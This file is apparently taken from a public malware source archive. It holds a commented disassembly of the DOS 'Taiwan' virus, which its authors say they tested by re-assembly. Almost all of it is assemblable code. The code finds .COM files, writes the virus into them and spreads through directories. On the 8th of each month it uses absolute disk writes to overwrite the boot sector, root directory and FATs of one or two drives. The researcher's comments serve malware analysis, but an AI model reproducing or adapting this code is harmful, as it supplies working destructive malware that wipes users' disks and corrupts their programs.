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https://github.com/vxunderground/MalwareSourceCode
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407 lines
12 KiB
NASM
407 lines
12 KiB
NASM
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PAGE 60,132
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; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
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; º Progrming Research Group T.R.A.U.M.A. º
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; º Universidade Autonoma de Lisboa º
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; º The 'Taiwan' Virus º
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; º Disassembled by J.L. and J.C, Feb 1990 º
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; º º
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; º Not Copyrighted (c) Jean Luz. º
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; º º
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; º This listing is only to be made available to TRAUMA researchers º
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; º º
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; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
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; The disassembly has been tested by re-assembly using MASM 5.1
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data_1e equ 58h ; (0000:0058=0A9Ch)
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data_2e equ 5Ah ; (0000:005A=0D81h)
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data_3e equ 475h ; (0000:0475=2)
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data_7e equ 95h ; (76AC:0095=0A1h)
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data_8e equ 96h ; (76AC:0096=58h)
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data_9e equ 98h ; (76AC:0098=44A3h)
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data_10e equ 9Ah ; (76AC:009A=2601h)
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data_11e equ 9Eh ; (76AC:009E=0)
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data_12e equ 114h ; (76AC:0114=0BAh)
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data_13e equ 13Eh ; (76AC:013E=9Eh)
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data_14e equ 13Fh ; (76AC:013F=0)
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data_15e equ 140h ; (76AC:0140=21CDh)
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data_16e equ 142h ; (76AC:0142=0B4h)
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data_17e equ 143h ; (76AC:0143=3Dh)
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data_18e equ 144h ; (76AC:0144=2B0h)
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data_19e equ 146h ; (76AC:0146=9EBAh)
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data_20e equ 148h ; (76AC:0148=0)
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data_21e equ 14Bh ; (76AC:014B=8Bh)
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data_22e equ 17Ah ; (76AC:017A=40h)
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code_seg_a segment
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assume cs:code_seg_a, ds:code_seg_a
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tw proc far
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jmp short loc_a
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db 0B0h, 67h, 3Ch, 67h
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db 0CFh, 2Ah, 2Eh, 63h, 6Fh, 6Dh
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db 0, 2Ah, 0, 5Ch, 0, 2Eh
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db 2Eh, 0, 0, 5Ch, 0
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db 31h
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db 40 dup (0)
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db 64h, 0, 0, 0, 50h, 10h
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db 0, 0FCh, 0,
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loc_a: jmp short loc_1
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db 0EDh
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db 0D8h, 0CFh, 0CFh, 0DEh, 0C3h, 0C4h
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db 0CDh, 0D9h, 8Ah, 0CCh, 0D8h, 0C5h
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db 0C7h, 8Ah, 0E4h, 0CBh, 0DEh, 0C3h
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db 0C5h, 0C4h, 0CBh, 0C6h, 8Ah, 0E9h
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db 0CFh, 0C4h, 0DEh, 0D8h, 0CBh, 0C6h
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db 8Ah, 0FFh, 0C4h, 0C3h, 0DCh, 0CFh
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db 0D8h, 0D9h, 0C3h, 0DEh, 0D3h, 8Ah
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db 8Bh, 0Ah, 0Dh, 24h, 0E3h, 0D9h
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db 8Ah, 0DEh, 0C5h, 0CEh, 0CBh, 0D3h
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db 8Ah, 0D9h, 0DFh, 0C4h, 0C4h, 0D3h
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db 8Ah, 95h
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db 0Ah, 0Dh, 24h
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loc_1:
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cli ; Disable interrupts
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push es
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mov ax,0
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mov es,ax
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;
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; To begin, let's read and change some interrupts - replacing one with other
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;
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mov ax,es:data_1e ; (0000:0058=0A9Ch)
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mov ds:data_18e,ax ; (76AC:0144=2B0h)
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mov ax,es:data_2e ; (0000:005A=0D81h)
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mov ds:data_19e,ax ; (76AC:0146=9EBAh)
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mov word ptr es:data_1e,102h ; (0000:0058=0A9Ch)
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mov es:data_2e,cs ; (0000:005A=0D81h)
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pop es
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;
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; now reprogram the primary interrupt controller (the only one on the PC/XT)
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in al,21h ; port 21h, 8259-1 int IMR
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or al,2
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out 21h,al ; port 21h, 8259-1 int comands
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sti ; Enable interrupts
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mov cx,80h
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mov si,0
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mov bx,80h
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locloop_2:
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mov ax,[bx+si]
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push ax
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inc si
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inc si
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loop locloop_2 ; Loop if cx > 0
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mov byte ptr ds:data_12e,0 ; (76AC:0114=0BAh)
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mov byte ptr ds:data_13e,0 ; (76AC:013E=9Eh)
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mov byte ptr ds:data_14e,0 ; (76AC:013F=0)
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mov byte ptr ds:data_20e,0 ; (76AC:0148=0)
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mov ah,19h
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int 21h ; DOS Services ah=function 19h
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; get default drive al (0=a:)
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; then store it
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mov ds:data_12e,al ; (76AC:0114=0BAh)
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mov ds:data_17e,al ; (76AC:0143=3Dh)
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mov ah,47h
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mov dl,0
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mov si,116h
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int 21h ; DOS Services ah=function 47h
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; get full pathname for current drive
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; putting it in the buffer pointed to by SI
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push ds
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mov ax,0
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mov ds,ax
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mov al,ds:data_3e ; (0000:0475=2)
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pop ds
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mov ds:data_16e,al ; (76AC:0142=0B4h)
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cmp al,0
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je loc_3 ; Jump if equal (drive c)
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mov ah,0Eh
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mov dl,2
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mov ds:data_17e,dl ; (76AC:0143=3Dh)
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int 21h ; DOS Services ah=function 0Eh
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; set default drive C:
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loc_3:
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mov ah,3Bh ; ';'
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mov dx,10Fh
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int 21h ; DOS Services ah=function 3Bh
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; set current dir, path \
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loc_4:
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mov ah,4Eh ; 'N'
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mov cx,3
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mov dx,107h
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int 21h ; DOS Services ah=function 4Eh
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; find 1st filenam match (*.com)
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jnc loc_5 ; Jump if carry=0 (if found)
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jmp loc_8
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loc_5:
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mov ax,ds:data_8e ; (76AC:0096=58h)
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and ax,1Fh
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cmp al,1Fh
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jne loc_6 ; Jump if not equal
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jmp loc_7
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loc_6:
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; Now it has found a .COM file, opens it then writes itself to it
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; and here it makes it's biggest mistake: it writes itself to the OS files,
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; leaving them inoperational
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mov ax,ds:data_10e ; (76AC:009A=2601h)
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mov ds:data_15e,ax ; (76AC:0140=21CDh)
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mov ah,43h ; 'C'
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mov al,1
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mov cl,ds:data_7e ; (76AC:0095=0A1h)
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and cx,0FEh
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mov dx,9Eh
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int 21h ; DOS Services ah=function 43h
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; get/set file attrb, file found
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mov ah,3Dh ; '='
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mov al,2
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mov dx,9Eh
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int 21h ; DOS Services ah=function 3Dh
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; open file, al=mode,name@ds:dx
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mov bx,ax
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mov ah,3Fh ; '?'
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mov cx,2E7h
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mov dx,0F800h
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int 21h ; DOS Services ah=function 3Fh
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; read file, cx=bytes, to ds:dx
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mov ah,42h ; 'B'
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mov al,0
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mov cx,0
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mov dx,0
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int 21h ; DOS Services ah=function 42h
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; move file ptr, cx,dx=offset
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mov ah,40h ; '@'
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mov cx,2E7h
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mov dx,100h
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int 21h ; DOS Services ah=function 40h
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; write file cx=bytes, to ds:dx
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mov ah,42h ; 'B'
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mov al,2
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mov cx,0
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mov dx,0
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int 21h ; DOS Services ah=function 42h
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; move file ptr, cx,dx=offset
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mov ah,40h ; '@'
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mov cx,2E7h
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mov dx,0F800h
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int 21h ; DOS Services ah=function 40h
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; write file cx=bytes, to ds:dx
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mov ah,57h ; 'W'
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mov al,1
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mov cx,ds:data_8e ; (76AC:0096=58h)
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mov dx,ds:data_9e ; (76AC:0098=44A3h)
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or cl,1Fh
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int 21h ; DOS Services ah=function 57h
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; get/set file date & time
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mov ah,43h ; 'C'
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mov al,1
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mov cl,ds:data_7e ; (76AC:0095=0A1h)
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mov dx,9Eh
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int 21h ; DOS Services ah=function 43h
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; get/set file attrb, nam@ds:dx
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mov ah,3Eh ; '>'
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int 21h ; DOS Services ah=function 3Eh
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; close file, bx=file handle
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inc byte ptr ds:data_13e ; (76AC:013E=9Eh)
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cmp byte ptr ds:data_13e,3 ; (76AC:013E=9Eh)
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je loc_15 ; Jump if equal
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loc_7:
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mov ah,4Fh ; 'O'
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int 21h ; DOS Services ah=function 4Fh
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; find next filename match
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jc loc_8 ; Jump if carry Set (if no more .com files)
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jmp loc_5 ; infect next file
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loc_8:
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; Now (I'm not sure about this) I think it's looking for subdirectories, so it can spread there
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; too.
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mov ah,4Eh ; 'N'
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mov dx,10Dh
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mov cx,12h
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int 21h ; DOS Services ah=function 4Eh
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; find 1st filenam match @ds:dx
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jc loc_13 ; Jump if carry Set
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loc_9:
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cmp byte ptr ds:data_11e,2Eh ; (76AC:009E=0) '.'
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jne loc_11 ; Jump if not equal
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loc_10:
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mov ah,4Fh ; 'O'
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int 21h ; DOS Services ah=function 4Fh
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; find next filename match
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jnc loc_9 ; Jump if carry=0
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jmp short loc_13
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loc_11:
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mov ah,3Bh ; ';'
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mov dx,9Eh
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int 21h ; DOS Services ah=function 3Bh
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; set current dir, path @ ds:dx
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jc loc_10 ; Jump if carry Set
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mov cx,0Bh
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mov si,0
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mov bx,80h
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locloop_12:
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mov ax,[bx+si]
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push ax
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inc si
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inc si
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loop locloop_12 ; Loop if cx > 0
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inc byte ptr ds:data_14e ; (76AC:013F=0)
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jmp loc_4
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; yes, it should have been directories, for now it has changed the path and has gone
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; off infecting files again
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loc_13:
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; if it has found them all, it goes on to the next wickedness...
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cmp byte ptr ds:data_14e,0 ; (76AC:013F=0)
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je loc_15 ; Jump if equal
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dec byte ptr ds:data_14e ; (76AC:013F=0)
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mov ah,3Bh ; ';'
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mov dx,111h
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int 21h ; DOS Services ah=function 3Bh
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; set current dir, path @ ds:dx
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mov cx,0Bh
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mov di,14h
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mov bx,80h
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locloop_14:
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pop ax
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mov [bx+di],ax
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dec di
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dec di
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loop locloop_14 ; Loop if cx > 0
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mov ah,4Fh ; 'O'
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int 21h ; DOS Services ah=function 4Fh
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; find next filename match
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jc loc_13 ; Jump if carry Set
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jmp short loc_9
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loc_15:
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; Finally, it it wasn't bugged and very amateurish
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; (making the infected files useless)
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; it would check for a date and then destroy the current disk if it was that date
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; ( The 8 of each month. Why???)
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mov ah,2Ah ; '*'
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int 21h ; DOS Services ah=function 2Ah
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; get date, cx=year, dx=mon/day
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cmp dl,8
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jne loc_16 ; Jump if not equal
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mov byte ptr ds:data_20e,1 ; (76AC:0148=0)
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mov al,ds:data_17e ; (76AC:0143=3Dh)
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mov cx,0A0h
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mov dx,0
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mov bx,0
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int 26h ; Absolute disk write, drive al
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; Write over the boot sector (and the partition table, if it's a hard disk),
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;the root directory and probably both FATs (if the DOS partition is the first
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; on the HD, off course), then try doing the same to second HD)
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popf ; Pop flags
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cmp byte ptr ds:data_16e,2 ; (76AC:0142=0B4h)
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jne loc_17 ; Jump if not equal
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mov al,3
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mov cx,0A0h
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mov dx,0
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mov bx,0
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int 26h ; Absolute disk write, drive al
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popf ; Pop flags
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jmp short loc_17
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loc_16:
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mov ah,0Eh
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mov dl,ds:data_12e ; (76AC:0114=0BAh)
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int 21h ; DOS Services ah=function 0Eh
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; set default drive dl (0=a:)
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mov ah,3Bh ; ';'
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mov dx,115h
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int 21h ; DOS Services ah=function 3Bh
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; set current dir, path @ ds:dx
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; Now change the interrupts again
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loc_17:
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cli ; Disable interrupts
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push es
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mov ax,0
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mov es,ax
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mov ax,ds:data_18e ; (76AC:0144=2B0h)
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mov es:data_1e,ax ; (0000:0058=0A9Ch)
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mov ax,ds:data_19e ; (76AC:0146=9EBAh)
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mov es:data_2e,ax ; (0000:005A=0D81h)
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pop es
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in al,21h ; port 21h, 8259-1 int IMR
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and al,0FDh
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out 21h,al ; port 21h, 8259-1 int comands
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sti ; Enable interrupts
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cmp byte ptr ds:data_20e,1 ; (76AC:0148=0)
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jne loc_20 ; Jump if not equal
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mov cx,2Ch
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mov di,0
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mov bx,14Bh
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locloop_18:
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xor byte ptr [bx+di],0AAh
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inc di
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loop locloop_18 ; Loop if cx > 0
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mov cx,10h
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mov di,0
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mov bx,17Ah
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locloop_19:
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; Finally write something on the screen, it seems like blanks
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; wait for for a keypress (doesn't matter which) then jump somewhere I can't understand.
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xor byte ptr [bx+di],0AAh
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inc di
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loop locloop_19 ; Loop if cx > 0
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mov ah,9
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mov dx,data_21e ; (76AC:014B=8Bh)
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int 21h ; DOS Services ah=function 09h
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; display char string at ds:dx
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mov ah,9
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mov dx,data_22e ; (76AC:017A=40h)
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int 21h ; DOS Services ah=function 09h
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; display char string at ds:dx
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mov ah,7
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int 21h ; DOS Services ah=function 07h
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; get keybd char al, no echo
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loc_20:
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mov cx,80h
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mov di,0FEh
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mov bx,80h
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locloop_21:
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pop ax
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mov [bx+di],ax
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dec di
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dec di
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loop locloop_21 ; Loop if cx > 0
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mov cx,8
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mov si,3DFh
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mov di,0F800h
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cld ; Clear direction
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rep movsb ; Rep while cx>0 Mov [si] to es:[di]
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mov cx,2E7h
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mov si,ds:data_15e ; (76AC:0140=21CDh)
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add si,100h
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jmp $+0 ;replaced a jump to an inexistant loc_22
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db 0BFh, 0, 1, 0F3h, 0A4h, 0E9h
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db 0F8h, 8, 0EBh
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db 5Dh
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db 93 dup (90h)
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db 0B8h, 0, 0, 0CDh, 21h
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db 643 dup (0)
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tw endp
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code_seg_a ends
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end
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